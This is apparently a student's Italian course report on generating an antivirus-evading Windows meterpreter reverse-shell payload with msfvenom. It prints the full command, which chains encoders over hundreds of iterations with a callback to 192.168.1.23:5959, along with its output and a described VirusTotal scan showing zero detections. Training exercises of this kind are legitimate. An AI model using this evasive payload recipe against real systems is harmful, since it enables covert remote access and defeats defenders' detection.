

S9-L1 MALWARE



TRACCIA



L'esercizio di oggi consiste nel creare un malware utilizzando msfvenom che sia meno rilevabile rispetto al malware analizzato durante la lezione.

L'obiettivo di questo esercizio è non solo creare un malware funzionale, ma anche sviluppare la capacità di migliorare la non rilevabilità. Questo tipo di pratica è essenziale per comprendere meglio le tecniche utilizzate sia dagli attaccanti che dai difensori nel campo della sicurezza informatica.



CREAZIONE MALWARE

Con msfvenom abbiamo creato un payload che non sia facile da rilevare attraverso un sistema di rilevamento “Virus Total”. Il payload lo chiameremo “non_un_malware” e testeremo attraverso il sito sopra citato se sia realmente rintracciabile



```
mattia@vbox: ~/Desktop
File Actions Edit View Help
(mattia@vbox)-[~/Desktop]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -o non_un_malware.exe
Attempting to read payload from STDIN ...
Attempting to read payload from STDIN ...
Found 1 compatible encoders
Attempting to encode payload with 200 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai succeeded with size 408 (iteration=1)
x86/shikata_ga_nai succeeded with size 435 (iteration=2)
x86/shikata_ga_nai succeeded with size 462 (iteration=3)
x86/shikata_ga_nai succeeded with size 489 (iteration=4)
x86/shikata_ga_nai succeeded with size 516 (iteration=5)
x86/shikata_ga_nai succeeded with size 543 (iteration=6)
x86/shikata_ga_nai succeeded with size 570 (iteration=7)
x86/shikata_ga_nai succeeded with size 597 (iteration=8)
x86/shikata_ga_nai succeeded with size 624 (iteration=9)
x86/shikata_ga_nai succeeded with size 651 (iteration=10)
x86/shikata_ga_nai succeeded with size 678 (iteration=11)
x86/shikata_ga_nai succeeded with size 705 (iteration=12)
x86/shikata_ga_nai succeeded with size 732 (iteration=13)
x86/shikata_ga_nai succeeded with size 759 (iteration=14)
x86/shikata_ga_nai succeeded with size 786 (iteration=15)
x86/shikata_ga_nai succeeded with size 813 (iteration=16)
x86/shikata_ga_nai succeeded with size 840 (iteration=17)
x86/shikata_ga_nai succeeded with size 867 (iteration=18)
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai succeeded with size 921 (iteration=20)
x86/shikata_ga_nai succeeded with size 948 (iteration=21)
x86/shikata_ga_nai succeeded with size 975 (iteration=22)
x86/shikata_ga_nai succeeded with size 1002 (iteration=23)
x86/shikata_ga_nai succeeded with size 1029 (iteration=24)
x86/shikata_ga_nai succeeded with size 1058 (iteration=25)
x86/shikata_ga_nai succeeded with size 1087 (iteration=26)
x86/shikata_ga_nai succeeded with size 1116 (iteration=27)
x86/shikata_ga_nai succeeded with size 1145 (iteration=28)
x86/shikata_ga_nai succeeded with size 1174 (iteration=29)
x86/shikata_ga_nai succeeded with size 1203 (iteration=30)
x86/shikata_ga_nai succeeded with size 1232 (iteration=31)
x86/shikata_ga_nai succeeded with size 1261 (iteration=32)
```

VIRUSTOTAL

Come si può vedere il payload
creato è a tutti gli effetti non
possibile da rintracciare pertanto
il risultato che avremo sarà 0
malicious file.

The screenshot shows the VirusTotal analysis interface for a file named "non_un_malware.exe". The main summary panel indicates a "Community Score" of 0 / 60, with a note that "No security vendors flagged this file as malicious". The file's SHA256 hash is listed as 3a9b41dd681631cca95e2c15dca622ea266134afee0a64da6165db0e310cd728. The file size is 30.18 KB and it was last analyzed 1 minute ago. Below this, there are tabs for DETECTION, DETAILS, and COMMUNITY, with the DETECTION tab currently selected. A green banner encourages users to "Join our Community" for additional insights. The SECURITY VENDORS' ANALYSIS section lists results from various engines, all showing an "Undetected" status. A link to "Do you want to automate checks?" is also present.

| Security vendor | Result |
|---------------------|------------|
| Acronis (Static ML) | Undetected |
| AliCloud | Undetected |
| Antiy-AVL | Undetected |
| Avast | Undetected |
| Avira (no cloud) | Undetected |
| BitDefender | Undetected |
| AhnLab-V3 | Undetected |
| ALYac | Undetected |
| Arcabit | Undetected |
| AVG | Undetected |
| Baidu | Undetected |
| Bkav Pro | Undetected |

COS'È MSFVENOM

Msfvenom è un programma utile per chi lavora con la sicurezza informatica e vuole creare payload personalizzati. Si tratta di un'evoluzione di due strumenti più vecchi, msfpayload e msfencode, che ora sono stati uniti in un'unica piattaforma per semplificare l'uso. Con msfvenom, è possibile generare codice specifico per sfruttare vulnerabilità o testare sistemi in ambienti controllati.

Lo strumento permette di produrre payload in diversi formati, come file eseguibili, script o dati grezzi, adattandosi a varie piattaforme e architetture. Offre anche la possibilità di offuscare il codice per evitare che venga individuato dai software antivirus, cosa che lo rende prezioso per simulare attacchi realistici.

Nonostante la sua potenza, msfvenom deve essere usato con responsabilità. È pensato per scopi etici, come test di penetrazione e valutazioni della sicurezza, e non per fini dannosi o illegali.

PERCHÈ UTILIZZIAMO MSFVENOM?

VirusTotal è uno strumento online utilizzato per analizzare file e URL sospetti, con lo scopo di identificare potenziali minacce come malware, virus o contenuti dannosi.

Funziona aggregando i risultati di numerosi motori antivirus e strumenti di analisi comportamentale, offrendo una panoramica completa sul livello di pericolosità di un file o di un link.

Questo servizio è particolarmente utile sia per gli esperti di sicurezza informatica, che lo utilizzano per verificare la sicurezza di un file o per studiare il comportamento di malware, sia per gli utenti comuni che vogliono controllare l'affidabilità di un file prima di aprirlo. VirusTotal contribuisce anche alla comunità globale di sicurezza, poiché ogni file o URL caricato può essere analizzato e integrato nei database degli antivirus per migliorare il loro sistema di rilevamento.



GRAZIE
MATTIA DI DONATO